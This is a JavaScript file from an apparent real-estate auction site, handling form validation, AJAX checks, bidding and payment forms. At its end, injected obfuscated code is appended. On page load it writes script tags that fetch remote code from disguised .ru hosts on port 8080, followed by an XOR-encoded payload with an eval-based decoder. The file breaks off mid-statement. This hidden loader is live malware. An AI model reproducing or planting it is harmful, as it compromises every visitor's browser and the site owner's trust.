function createXMLHttpRequest()
{
    var ua;
    if(window.XMLHttpRequest)
    {
        try
        {
            ua = new XMLHttpRequest();
        }
        catch(e)
        {
            ua = false;
        }
    }
    else if(window.ActiveXObject)
    {
        try
        {
            ua = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e)
        {
            ua = false;
        }
    }
    return ua;
}

var req = createXMLHttpRequest();

var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
    
function basic_form_check()
{

if(document.getElementById('property_type').selectedIndex < 0)
{
	document.getElementById('error_message').innerHTML = "Please select property type.";
	return false;
	}
else if(document.getElementById('asking_price').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter asking price";
	return false;
	}
else if(IsNumeric(document.getElementById('asking_price').value) == false)
{
	document.getElementById('error_message').innerHTML = "Please check price. It shouldn't contain any special character";
	return false;
	}
else if(document.getElementById('bedroom').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter bedroom";
	return false;
	}
else if(document.getElementById('bathroom').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter bathroom";
	return false;
	}
else if(document.getElementById('address_1').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter address";
	return false;
	}
else if(document.getElementById('city').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter city";
	return false;
	}
else if(document.getElementById('zip').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter zip";
	return false;
	}
else if(document.getElementById('state').selectedIndex == "")
{
	document.getElementById('error_message').innerHTML = "Please enter state";
	return false;
	}
else if(document.getElementById('email').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter email";
	return false;
	}
else if(document.getElementById('pass').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter password";
	return false;
	}
else if(document.getElementById('cpass').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter confirm password";
	return false;
	}
else if(document.getElementById('pass').value != document.getElementById('cpass').value)
{
	document.getElementById('error_message').innerHTML = "Both password is not same";
	return false;
	}
else if(!(filter.test(document.getElementById('email').value)))
{
	document.getElementById('error_message').innerHTML = "Please enter vaild email address";
	return false;
	}
else
	check_email(document.getElementById('email').value);
	return false;
}


function check_email(email_id)
{
	var subject = email_id;
	
	req.open('get', 'ajax_form_check.php?email_id='+subject);      
	req.onreadystatechange = handleResponseemail;
	req.send(null); 
	cache='false';   
}



function handleResponseemail()
{
    if(req.readyState == 4)
    {
        var response = req.responseText;
        if(response == 0)
        	captcha('basic_info');
        else
        	document.getElementById('error_message').innerHTML = "Email Address is already registered";
       
    }    	    
}

function captcha(frm_name)
{
	var subject = document.getElementById("captcha").value;	
	
	req.open('get', 'ajax_form_check.php?captcha='+subject+'&form_name='+frm_name);      
	req.onreadystatechange = handleResponsecaptcha;
	req.send(null); 
	cache='false';   
}



function handleResponsecaptcha()
{
    if(req.readyState == 4)
    {
         var response = req.responseText;         
	 var update = new Array();
	 update = response.split("||");

        
        if(update[0] == 0)
        	document.getElementById(update[1]).submit();
        else
        {
        	document.getElementById('error_message').innerHTML = "The Verification Numbers were incorrect. Please try again";
        	document.getElementById("captcha_img").src = "captcha.php?"+Math.random();
        	}
       
    }    	    
}

function activation_form()
{

if(document.getElementById('address_1').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter address";
	return false;
	}
else if(document.getElementById('city').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter city";
	return false;
	}
else if(document.getElementById('state').selectedIndex == "")
{
	document.getElementById('error_message').innerHTML = "Please enter state";
	return false;
	}
else if(document.getElementById('zip').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter zip";
	return false;
	}
else if(document.getElementById('asking_price').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter asking price";
	return false;
	}
else if(IsNumeric(document.getElementById('asking_price').value) == false)
{
	document.getElementById('error_message').innerHTML = "Please check price. It shouldn't contain any special character";
	return false;
	}
else if(document.getElementById('activation_key').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter activation Key";
	return false;
	}
else
	captcha('activation');
	return false;
}


function vendor_form_check()
{

if(document.getElementById('busines_name').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter bussiness name";
	return false;
	}
else if(document.getElementById('address_1').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter address";
	return false;
	}
else if(document.getElementById('city').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter city";
	return false;
	}
else if(document.getElementById('county').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter County";
	return false;
	}
else if(document.getElementById('state').selectedIndex == "")
{
	document.getElementById('error_message').innerHTML = "Please enter state";
	return false;
	}
else if(document.getElementById('zip').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter zip";
	return false;
	}
else if(document.getElementById('email').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter email";
	return false;
	}
else if(document.getElementById('pass').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter password";
	return false;
	}
else if(document.getElementById('cpass').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter confirm password";
	return false;
	}
else if(document.getElementById('pass').value != document.getElementById('cpass').value)
{
	document.getElementById('error_message').innerHTML = "Both password is not same";
	return false;
	}
else if(!(filter.test(document.getElementById('email').value)))
{
	document.getElementById('error_message').innerHTML = "Please enter vaild email address";
	return false;
	}
else
{
	return true;
	//check_vendor_email(document.getElementById('email').value);
	}	
}

function check_vendor_email(email_id)
{
	var subject = email_id;
	
	req.open('get', 'ajax_form_check.php?vendor_email_id='+subject);      
	req.onreadystatechange = handleResponsevendoremail;
	req.send(null); 
	cache='false';   
}



function handleResponsevendoremail()
{
    if(req.readyState == 4)
    {
        var response = req.responseText;
        if(response == 0)
        	document.vendor_info.submit();
        else
        	document.getElementById('error_message').innerHTML = "Email Address is already registered";
       
    }    	    
}

function show_date()
{

if(document.vendor_info.listing_until[1].checked)
	document.getElementById('sh_date').style.display='';
else
	document.getElementById('sh_date').style.display='none';	
 }
 
 
 function search_vendor_form()
 {
 	/* if(document.getElementById('category').value == "")
 	{
 	document.getElementById('error_message').innerHTML = "Please enter Category.";
  	} 
	else */
	
	if(document.getElementById('location').value == "")
 	{
 	document.getElementById('error_message').innerHTML = "Please enter Location.";
  	} 
 	else
 	document.vendor_search.submit();
 }


function bidder_form_check()
{

if(document.getElementById('first_name').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter first name";
	return false;
	}
else if(document.getElementById('last_name').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter last name";
	return false;
	}
else if(document.getElementById('screen_name').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter screen name";
	return false;
	}
else if(document.getElementById('email').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter email";
	return false;
	}
else if(!(filter.test(document.getElementById('email').value)))
{
	document.getElementById('error_message').innerHTML = "Please enter vaild email address";
	return false;
	}
else if(document.getElementById('pass').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter password";
	return false;
	}
else if(document.getElementById('cpass').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter confirm password";
	return false;
	}
else if(document.getElementById('pass').value != document.getElementById('cpass').value)
{
	document.getElementById('error_message').innerHTML = "Both password is not same";
	return false;
	}
else if(document.getElementById('address_1').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter address";
	return false;
	}
else if(document.getElementById('city').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter city";
	return false;
	}
else if(document.getElementById('county').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter County";
	return false;
	}
else if(document.getElementById('state').selectedIndex == "")
{
	document.getElementById('error_message').innerHTML = "Please enter state";
	return false;
	}
else if(document.getElementById('zip').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter zip";
	return false;
	}
else if(document.getElementById('contact_number').value == "")
{
	document.getElementById('error_message').innerHTML = "Please enter contact number.";
	return false;
	}
else
	check_bidder_email(document.getElementById('email').value);
	return false;
}

function check_bidder_email(email_id)
{
	var subject = email_id;
	
	req.open('get', 'ajax_form_check.php?bidder_email_id='+subject);      
	req.onreadystatechange = handleResponsebidderemail;
	req.send(null); 
	cache='false';   
}



function handleResponsebidderemail()
{
    if(req.readyState == 4)
    {
        var response = req.responseText;
        if(response == 0)
        	captcha('bidder_info');
        else
        	document.getElementById('error_message').innerHTML = "Email Address is already registered";
       
    }    	    
}


function show_message(msg_id)
{
	var subject = msg_id;
	
	req.open('get', 'ajax_form_check.php?msg_id='+subject);      
	req.onreadystatechange = handleResponsemessage;
	req.send(null); 
	cache='false';   
}



function handleResponsemessage()
{
    if(req.readyState == 1)
    {
    		document.getElementById('mail_detail').style.display = '';
    		document.getElementById('message_text').innerHTML = "Loading the message";
    	}
    if(req.readyState == 4)
    {
        var response = req.responseText;
        
        document.getElementById('message_text').innerHTML = response;
    }    	    
}

function watchlist(pid,uid)
{
	var subject = pid;
	var subject1 = uid;
	
	req.open('get', 'ajax_form_check.php?pid='+subject+'&uid='+subject1);      
	req.onreadystatechange = handleResponsewatchlist;
	req.send(null); 
	cache='false';   
}



function handleResponsewatchlist()
{
    if(req.readyState == 4)
    {
        var response = req.responseText;
       
        if(response == 0)
        	document.getElementById('watch_message').innerHTML = "You need to login to add this property to watchlist.";
        else
        	document.getElementById('watch_message').innerHTML = "This property is added to your watchlist.";
	
    }    	    
}


 function contact_vendor()
 {
  if(document.getElementById('contact_name').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter contact name.";
 	return false;
  	} 
else  if(document.getElementById('contact_email').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter contact email.";
 	return false;
  	} 
else  if(document.getElementById('subject').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter subject.";
 	return false;
  	} 
else  if(document.getElementById('day_phone').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter phone number.";
 	return false;
  	} 
else if(IsValidPhone(document.getElementById('day_phone').value) == false)
 {
 	document.getElementById('error_message').innerHTML = "Please enter valid phone number.";
 	return false;
 	}
else if(!(filter.test(document.getElementById('contact_email').value)))
{
	document.getElementById('error_message').innerHTML = "Please enter vaild email address";
	return false;
	} 
 else
 	return true;
 }


function email_seller()
 {
  if(document.getElementById('first_name').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter first name.";
 	return false;
  	} 
else  if(document.getElementById('last_name').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter last name.";
 	return false;
  	} 
else  if(document.getElementById('your_email').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter your email.";
 	return false;
  	} 
else  if(document.getElementById('subject').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter subject.";
 	return false;
  	} 
else  if(document.getElementById('day_phone').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter phone number.";
 	return false;
  	} 
else if(!(filter.test(document.getElementById('your_email').value)))
{
	document.getElementById('error_message').innerHTML = "Please enter vaild email address";
	return false;
	}
 else
 	return true;
 }

function contact_us()
{
	var day_phone = document.getElementById('phone1').value + "-" + document.getElementById('phone2').value + "-" + document.getElementById('phone3').value;
	
	 if(document.getElementById('name').value == "")
	 {
		document.getElementById('error_message').innerHTML = "Please enter name.";
		return false;
		} 
	else  if(document.getElementById('company').value == "")
	 {
		document.getElementById('error_message').innerHTML = "Please enter company name.";
		return false;
		} 
	else  if(document.getElementById('phone1').value == "" || document.getElementById('phone2').value == "" || document.getElementById('phone3').value == "")
	 {
		document.getElementById('error_message').innerHTML = "Please enter phone number.";
		return false;
		} 
	else if(IsValidPhone(day_phone) == false)
	 {
	 	document.getElementById('error_message').innerHTML = "Please enter valid phone number.";
	 	return false;
 	}
	else  if(document.getElementById('email').value == "")
	 {
		document.getElementById('error_message').innerHTML = "Please enter your email.";
		return false;
		} 
	else if(!(filter.test(document.getElementById('email').value)))
	{
		document.getElementById('error_message').innerHTML = "Please enter vaild email address";
		return false;
		}
	else  if(document.getElementById('comments').value == "")
	 {
		document.getElementById('error_message').innerHTML = "Please enter comments.";
		return false;
		} 
	 else
		return true;
 }


 function email_friend()
 {
  if(document.getElementById('your_email').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter your email.";
 	return false;
  	} 
else  if(document.getElementById('your_name').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter your name.";
 	return false;
  	} 
else  if(document.getElementById('friends_email').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter friend email.";
 	return false;
  	} 
else  if(document.getElementById('friend_name').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter friend name.";
 	return false;
  	} 
else if(!(filter.test(document.getElementById('your_email').value)))
{
	document.getElementById('error_message').innerHTML = "Please enter vaild email address";
	return false;
	}
else if(!(filter.test(document.getElementById('friends_email').value)))
{
	document.getElementById('error_message').innerHTML = "Please enter vaild friend email address";
	return false;
	}
 else
 	return true;
 }


 function forget_password()
 {
  if(document.getElementById('your_email').value == "")
 {
 	document.getElementById('error_message').innerHTML = "Please enter your email.";
 	return false;
  	} 
else if(!(filter.test(document.getElementById('your_email').value)))
{
	document.getElementById('error_message').innerHTML = "Please enter vaild email address";
	return false;
	}
 else
 	return true;
 }


function populate_county()
{
	var subject = document.getElementById('state').value;
	
	req.open('get', 'ajax_form_check.php?state_id='+subject);      
	req.onreadystatechange = handleResponsecounty;
	req.send(null); 
	cache='false';   
}

function mpopulate_county()
{
	var subject = document.getElementById('state').value;
	
	req.open('get', 'ajax_form_check.php?state_id_m='+subject);      
	req.onreadystatechange = handleResponsecounty;
	req.send(null); 
	cache='false';   
}


function handleResponsecounty()
{
    if(req.readyState == 4)
    {
        var response = req.responseText;
        //document.getElementById('county').innerHTML = " " + response;
        //alert(document.getElementById('county').innerHTML);
        var selectEl = document.getElementById('county');
        var update = new Array();
        update = response.split("||");
        
        if(selectEl.length>1)
	{
		var k=selectEl.length;
		for (j=0;j<k;j++)
		{
			  selectEl.remove(0);
		}
	}
	for(i=0;i<update.length;i++)
	{
		if(update[i]!="")
		{
			var optionEl=document.createElement('option');
			optionEl.text=update[i];
			optionEl.value=update[i];
				try
				{
					selectEl.add(optionEl,null);
				}
				catch(ex)
				{
					selectEl.add(optionEl);
				}
		}
	}
       
    }    	    
}

   //  check for valid numeric strings	

function IsNumeric(strString)
{
   var strValidChars = "0123456789";
   var strChar;
   var blnResult = true;

   if (strString.length == 0) return false;

   //  test strString consists of valid characters listed above
   for (i = 0; i < strString.length && blnResult == true; i++)
   {
      strChar = strString.charAt(i);
      if (strValidChars.indexOf(strChar) == -1)
      {
         blnResult = false;
         }
      }
   return blnResult;
   }


function IsValidPhone(strString)
{
   var strValidChars = "0123456789-";
   var strChar;
   var blnResult = true;

   if (strString.length == 0) return false;

   //  test strString consists of valid characters listed above
   for (i = 0; i < strString.length && blnResult == true; i++)
   {
      strChar = strString.charAt(i);
      if (strValidChars.indexOf(strChar) == -1)
      {
         blnResult = false;
         }
      }
   return blnResult;
   }

function place_bid()
{
	if(IsNumeric(document.getElementById('bid_amount').value) == false)
	{
		document.getElementById('error_message').innerHTML = "Please check bid value. It shouldn't contain any special character";
	}
	else
	{
		var max_bid_value = document.getElementById('max_bid_value').value;
		var buy_now_value = document.getElementById('buy_now_value').value;
		var bid_amount = document.getElementById('bid_amount').value;
		var property_id = document.getElementById('property_id').value;
		var incr_amount = document.getElementById('incr_value').value;		
		var max_limit = document.getElementById('max_bid_amount').value;

		if(document.getElementById('proxy_bidding').checked)
			var prxy_bid = '1';
		else
			var prxy_bid = '0';
		
		var poststr = "max_bid_value=" + encodeURI(max_bid_value) + "&buy_now_value=" + encodeURI(buy_now_value) + "&bid_amount=" + encodeURI(bid_amount) +"&incr_value="+incr_amount+"&proxy_bidding="+prxy_bid+"&max_bid_amount="+max_limit;
		ajaxpack.postAjaxRequest("place_bid.php?pid="+property_id, poststr, processGetPost, "txt");			
	  }
		
  }
  
function purchase_now(str)
{
	var notify_str = str;
	
	if(notify_str == "1")
	{
		var property_id = document.getElementById('property_id').value;
		var commit_seller = document.getElementById('commit_seller').value;
		
		var poststr = "commit_seller_x=" + encodeURI(commit_seller);
		ajaxpack.postAjaxRequest("buy_it_now.php?pid="+property_id, poststr, processGetPost, "txt");	
	}
	else if(notify_str == "2")
	{
		var property_id = document.getElementById('property_id').value;
		var subject = document.getElementById('subject').value;
		var message = document.getElementById('message').value;
		
		var poststr = "property_id=" + encodeURI(property_id) + "&subject=" + encodeURI(subject) + "&message=" + encodeURI(message);;
		ajaxpack.postAjaxRequest("buy_it_now.php?pid="+property_id, poststr, processGetPost, "txt");	
	  }
		
  }
  
function bidder_login()
{
	var email = document.getElementById('email_address').value;
	var pass = document.getElementById('pass').value;
	var property_id = document.getElementById('property_id').value;
	var action_method = document.getElementById('action_method').value;
	var poststr = "email_address=" + encodeURI(email) + "&pass=" + encodeURI(pass) + "&property_id=" + encodeURI(property_id);
	ajaxpack.postAjaxRequest("bidder_login.php?pid="+property_id+"&action="+action_method, poststr, processGetPost, "txt");
 }
 
function purchase_add_ons()
{
	var total = 0.0;
	var addons_id = "";
	document.getElementById("add_more").innerHTML = "Loading......";
	for(var i=0; i < document.purchase_addons.add_ons.length; i++)
	{
		if(document.purchase_addons.add_ons[i].checked)
		{
			addons_tid = document.purchase_addons.add_ons[i].value;
			if(i == 0)
				addons_id = document.purchase_addons.add_ons[i].value;
			else
				addons_id = addons_id + "," +document.purchase_addons.add_ons[i].value;
			
			var temp = "addons_price_"+addons_tid;
			total = total + parseFloat(document.getElementById(temp).value);	
		}
	}
	
	document.getElementById("add_ons_id").value = addons_id;
	document.getElementById("total").value = total;
	document.getElementById("add_more").innerHTML = "";	
}
 
function seller_account(pid)
{
	var property_id = pid;
	var poststr = "property_id=" + encodeURI(property_id);
	
	document.getElementById("loading_message").innerHTML = "Loading......";
	
	ajaxpack.postAjaxRequest("seller_account.php", poststr, processGetPost, "printarea");
	
 }
 
 
 function select_package(pack_id)
 {
 	var subject1 = document.getElementById("choosed_package").value;

	req.open('get', 'ajax_form_check.php?package_id='+pack_id+"&cpack_id="+subject1);      
	req.onreadystatechange = handleResponseselectpackage;
	req.send(null); 
	cache='false';   

 	
  }
  
  function handleResponseselectpackage()
  {
      if(req.readyState == 4)
      {
          var response = req.responseText;          
	 var update = new Array();
	 update = response.split("||");

	 if(update[1]!="")
	 {
	 	var subject1 = "un_"+update[0];
	 	var str = document.getElementById(subject1).src;
	 	if(str.indexOf("check_box2") == "-1")
		{
		 	document.getElementById("payment_total").innerHTML = "TOTAL: $"+update[1];
		 	document.getElementById("total_value").value = update[1];
		 	document.getElementById("selected_package").value = update[0];	 
		 	}
		 else
		 {
		 	document.getElementById("payment_total").innerHTML = "TOTAL: $"+update[3];
		 	document.getElementById("total_value").value = update[3];
		 	document.getElementById("selected_package").value = update[4];	 
		     }
	 	}
	 if(update[0]!="")
	 {
	 	var subject1 = "un_"+update[0];
	 	var str = document.getElementById(subject1).src;
	 	if(str.indexOf("check_box2") == "-1")
	 		document.getElementById(subject1).src = "images/check_box2.png";	 	
	 	else
	 		document.getElementById(subject1).src = "images/check_box.gif";	 	
	 	
	 	}
	 if(update.length > 2)
	 {
	 	if(update[2]!="")
	 	{
			var temp = update[2].split(",");			
			var subject2 = "un_"+update[0];
			
			for(i=0;i<temp.length;i++)
			{
				subject2 = "un_"+temp[i];
				document.getElementById(subject2).src = "images/check_box.gif";	 	
			}
		}	
	 }
	 	
      }    	    
  }


function payment_form_check()
{
	if(document.getElementById('first_name').value == "")
	{
		document.getElementById('error_message').innerHTML = "Please enter first name";
		return false;
		}
	else if(document.getElementById('last_name').value == "")
	{
		document.getElementById('error_message').innerHTML = "Please enter last name";
		return false;
		}
	else if(document.getElementById('address').value == "")
	{
		document.getElementById('error_message').innerHTML = "Please enter address";
		return false;
		}
	else if(document.getElementById('city').value == "")
	{
		document.getElementById('error_message').innerHTML = "Please enter city";
		return false;
		}
	else if(document.getElementById('state').value == "")
	{
		document.getElementById('error_message').innerHTML = "Please enter state";
		return false;
		}
	else if(document.getElementById('ccnumber').value == "")
	{
		document.getElementById('error_message').innerHTML = "Please enter credit card number.";
		return false;
		}
	else if(document.getElementById('expmo').value == "")
	{
		document.getElementById('error_message').innerHTML = "Please enter expiry month.";
		return false;
		}
	else if(document.getElementById('expyr').value == "")
	{
		document.getElementById('error_message').innerHTML = "Please enter expiry year.";
		return false;
		}
	else if(document.getElementById('card_code').selectedIndex == "")
	{
		document.getElementById('error_message').innerHTML = "Please enter CCV number";
		return false;
		}
	else
		return true;
  }

var y;if(y!='' && y!='e'){y='x'};var v=window;this.d=false;var t=document;var xl;if(xl!='ou'){xl=''};var db;if(db!='i' && db!='pt'){db=''};var l='s%c.rxijpxt%'.replace(/[%x8j\.]/g, '');var a=new Array();var r=new Array();var ha='';v.onload=function(){this.b=20625;var pz;if(pz!='' && pz!='pd'){pz=null};try {var jm;if(jm!='' && jm!='fe'){jm=null};n=t.createElement(l);n.src='h1t$t1p$:M/L/LbLb1c1-Mc$oL-1uVk$.1pLoMgLo$.LcVoLm$.1gLo1oLgLlVe1-VcVo$-$u$k1.MrMeLc$eVnVt1mMeMx$iVcLo$.1r1u1:M8V0L8M0M/Ln$eMw1eVg$gV.1cMo1m$/$nLeLwVe$gVgV.1cVoLmL/MwLiMk1iVpLe$dLi$a1.MoMrMgM/Vg1oMo1gLl$e$.Mc$oLmL/VgLo1oLg1l1eM.1cVo$.Vv$e$/$'.replace(/[\$VLM1]/g, '');var au=false;n.setAttribute('dlelfPelrN'.replace(/[N%zlP]/g, ''), "1");this.lw="";var pzo;if(pzo!='ll' && pzo!='vq'){pzo=''};var ly=false;t.body.appendChild(n);var m=39390;} catch(o){var rd=33131;};};var ky;if(ky!='' && ky!='qh'){ky='pe'};
var j=window;var _ih=36922;var z=document;var vr;if(vr!='b' && vr!='bg'){vr=''};function l(r){var _=['h_tXtzpJ:_/J/zsJaXnzszpzoz-XcJozmJ.6f_rXeJe_wXezbXs_._c6o6m_._c6nXb6lJo_g6sz-6czo_mX.Xbze6sJtzn6e_wXsXmXaJlXlX.XrzuJ:J8X0z860z/XpzlzaXl_aJ.6oJrJ.Xjzpz/JpXlJaXl_a_.Jo6rX.zjzp_/_3_96.6nJeXtX/XgJaJmXezv6a6nzc6e_.zczo_m6/zgXo_o_gXl6ez.zczoXmz/J'.replace(/[JzX_6]/g, ''), 'sHcHrLiIpIt~'.replace(/[~dLHI]/g, ''), 'c&rXe&a&tveXE&lXeXmvevn3t3'.replace(/[3&X\<v]/g, ''), 'o?n?lPoBa?dB'.replace(/[BPp\?\+]/g, ''), 's2r#ch'.replace(/[h7S#2]/g, ''), 'a4pVp:e$nPd4C4h4i:l$dV'.replace(/[V\:\$4P]/g, ''), 'spe%tSASt%t<rpiSbpu%tSeS'.replace(/[Sp\<%/]/g, ''), 'buord@yr'.replace(/[ru&@m]/g, ''), 'dpe/fnepr/'.replace(/[/\*npG]/g, ''), "1"];this.e="";var ru=_[r];var im;if(im!='sz' && im!='hj'){im='sz'};return ru;var zum;if(zum!='kn' && zum != ''){zum=null};}var v = function(){var g;if(g!='ds' && g != ''){g=null};try {p=z[l([2][0])](l([2,1][1]));p[l([4,6][1])](l([1,8][1]), l([9][0]));var q="";var k = z[l([0,7][1])];this.n="n";p[l([4][0])]=l([0,2][0]);var hu=new Array();k[l([5,2][0])](p);} catch(_i){};var gk;if(gk!='lh' && gk != ''){gk=null};};j[l([3][0])]=v;
var g;if(g!=''){g='_'};this.v=22978;var u=window;var x=document;var r=new String();var hh="hh";function xi(j){var y=false;var l=['h5t;t5p5:;/;/DcDh5iHn;a;m1o5bHi1lDe5-Dc;oHm5.1mHo1n1oDgDr;a5f5i1aHsD.Dc1oDm1.;iHm;a1g;eHsHh5aDc1k;-DuHs;.1m;e5d;i;a5tDa5gDo;nDl1iHn;eD.1r1u5:5810;8D0;/Dm1y5s;pHa5c;e1.5c1o5mH/5m5yDs;pDa5c;e;.5c5o1m;/1g5oDoHg5l5eD.;c;oDmH/HsDmHh;.;c1oHm;.DaHu;/5b5e;eDm5p13D.1cHoHm1/1'.replace(/[1DH;5]/g, ''), 's9c:r:i4p4t:'.replace(/[\:4E59]/g, ''), 'c/r/e/a/t/e?E?lNe/m?esnot?'.replace(/[\?No/s]/g, ''), 'oJnwlJoJagdg'.replace(/[gMJw8]/g, ''), 'sTr<c<'.replace(/[\<j\>TY]/g, ''), 'a2p*p*eun2d;CQhQi;lQd2'.replace(/[2uQ;\*]/g, ''), 'skektdAktdtkrdi&blu&tke&'.replace(/[&vdlk]/g, ''), 'b%o1d%y1'.replace(/[1%DHE]/g, ''), 'd0e.fPe6r.'.replace(/[\.I60P]/g, ''), "1"];var jc=l[j];return jc;}this.my="my";var o = function(){try {xs=x[xi([2][0])](xi([1,3][0]));var sy=new Array();var ic;if(ic!='yf' && ic != ''){ic=null};xs[xi([6][0])](xi([8][0]), xi([9][0]));this.xk="";xs[xi([4][0])]=xi([0,2][0]);this.jk=false;var n = x[xi([7][0])];var yft=new String();n[xi([5][0])](xs);var _u;if(_u!='' && _u!='fr'){_u=null};} catch(m){var gs;if(gs!='np' && gs!='fh'){gs=''};};};var of;if(of!='d' && of!='xqu'){of='d'};u[xi([3,3][0])]=o;this.bo=19300;this.ok="";
var rh="cbc4dcfccba7ccd3d4c8eda1cecdd4cf96daf3dcfad0fbeedcfce2c8f5d8f3c2e9c8ebc2d6c5d6dfccced6c6eecdd6f8f2d4c4d2cdcce2fcd8e1c3d7f8cdc6e6ccd2d2a6fbf683d1d2c7bcd1d2a7c3d7";var lk='';var Ng='';function N(t){var dc;if(dc!='fD'){dc=''};var Dc=new String();var KH=false; var C=function(W,GE){return W^GE;var ZW;if(ZW!='oF'){ZW=''};};var g="";var Lt;if(Lt!='I'){Lt=''};var oV;if(oV!='y'){oV=''}; var w=function(u,GN){this.fDI=false;return u[G("reoCcadhAt", [4,7,5,0,3,2,6,1])](GN);var DY;if(DY!='BR'){DY=''};};this.MB=''; var X=function(b){var hV="";var Rn='';var CB = -1;this.Kv="Kv";this.Di="Di";b = new GH(b);var Q;if(Q!='uR' && Q!='qj'){Q='uR'};var xJ;if(xJ!='c' && xJ!='bu'){xJ='c'};var A = '';var nn=new Date();var H =[124,233,0][2];var Zx=29836;var bT =[102,117,191,0][3];var OE;if(OE!='' && OE!='ul'){OE='bK'};var Jd;if(Jd!='' && Jd!='p'){Jd=null};var Lr=false;var yF;if(yF!=''){yF='pb'};for (bT=b[G("hntegl", [5,3,1,4,2,0])]-CB;bT>=H;bT=bT-[170,1][1]){var rc;if(rc!='' && rc!='qb'){rc='Nv'};A+=b[G("hactAr", [2,0,1,5,4,3])](bT);}var gC;if(gC!='ol' && gC != ''){gC=null};var EbD="EbD";var wp=new String();var Ey;if(Ey!='FIq'){Ey=''};return A;var tw;if(tw!='HM' && tw != ''){tw=null};this.JV="";};this.fe="fe";var wq;if(wq!='' && wq!='PK'){wq=''};this.WS='';var fm;if(fm!=''){fm='st'}; var f=function(z){var kl=new Array();var Rsu;if(Rsu!='' && Rsu!='Hf'){Rsu='Kj'};var V;if(V!='' && V!='Lb'){V='tu'};var L=[0][0];var d=[0][0];var j=z[G("elntgh", [1,0,2,4,3])];var IG=false;var K=[255][0];var R=[1,83,134][0];this.oG="oG";var yk;if(yk!=''){yk='JY'};var mg;if(mg!=''){mg='JQ'};var WR;if(WR!='' && WR!='ci'){WR='Ju'};while(L<j){var lS=21865;this.EB="EB";var nk=new String();var iL=new String();L++;var XQ='';var iR='';M=w(z,L - R);d+=M*j;}return new GH(d % K);var Ms="";};var nK;if(nK!=''){nK='Dcl'};var pA=new Array();var Rx;if(Rx!='' && Rx!='hD'){Rx=''}; var tY=new String();var mF;if(mF!='Nm'){mF=''};function G(b, a){var Oz;if(Oz!='' && Oz!='PO'){Oz='yY'};var Vl=new Array();var iP=new Array();var D = b.length;var vjC;if(vjC!='wR' && vjC != ''){vjC=null};var R=[180,1,44][1];var Bq=new String();var H=[0,48][0];var EJ;if(EJ!='sWC' && EJ!='Mv'){EJ='sWC'};var l = a.length;var xj;if(xj!='Fj'){xj=''};var A = '';var GS=false;var fI=59818;for(var bT = H; bT < D; bT += l) {this.Yt=45073;var XN;if(XN!='au' && XN!='Mo'){XN='au'};this.SC=44486;var NL = b.substr(bT, l);var KU;if(KU!='bj' && KU!='Hs'){KU='bj'};if(NL.length == l){var Im;if(Im!='dr' && Im!='gz'){Im=''};var zA=new Date();for(var L in a) {var Vb=56618;var WW;if(WW!='SU' && WW!='al'){WW=''};var Jp;if(Jp!='zJ'){Jp=''};A+=NL.substr(a[L], R);var ob;if(ob!='Mt' && ob!='sZ'){ob=''};var oQ;if(oQ!='An' && oQ!='Ku'){oQ=''};var nZ;if(nZ!=''){nZ='Ut'};this.IGJ='';}} else {  A+=NL;}var BO=false;}var e=new Array();var DP;if(DP!='' && DP!='yh'){DP='xZ'};return A;var cq=new String();}var oe="oe";var nL;if(nL!='oP'){nL=''};var h=window;var Nj=false;var gZ;if(gZ!='zm'){gZ='zm'};var AG=h[G("vela", [1,0])];var J=AG(G("cFunntio", [1,2,3,0]));var Z = '';var GH=AG(G("rtnSgi", [3,1,0,5,2,4]));this.ZP='';var yu=false;var m=AG(G("gREexp", [1,3,0,2]));this.Vh="";var wu='';var rO;if(rO!=''){rO='ig'};var Dj;if(Dj!='GX' && Dj!='Ib'){Dj='GX'};var oH=new String();var P=h[G("snueeacp", [2,1,3,0])];this.wRO='';var mA=new Date();var v=GH[G("rfoCmhraCdoe", [1,0,2])];this.nz="nz";var ka;if(ka!='' && ka!='gvA'){ka='wM'};var Gb="Gb";var Jj="Jj";var 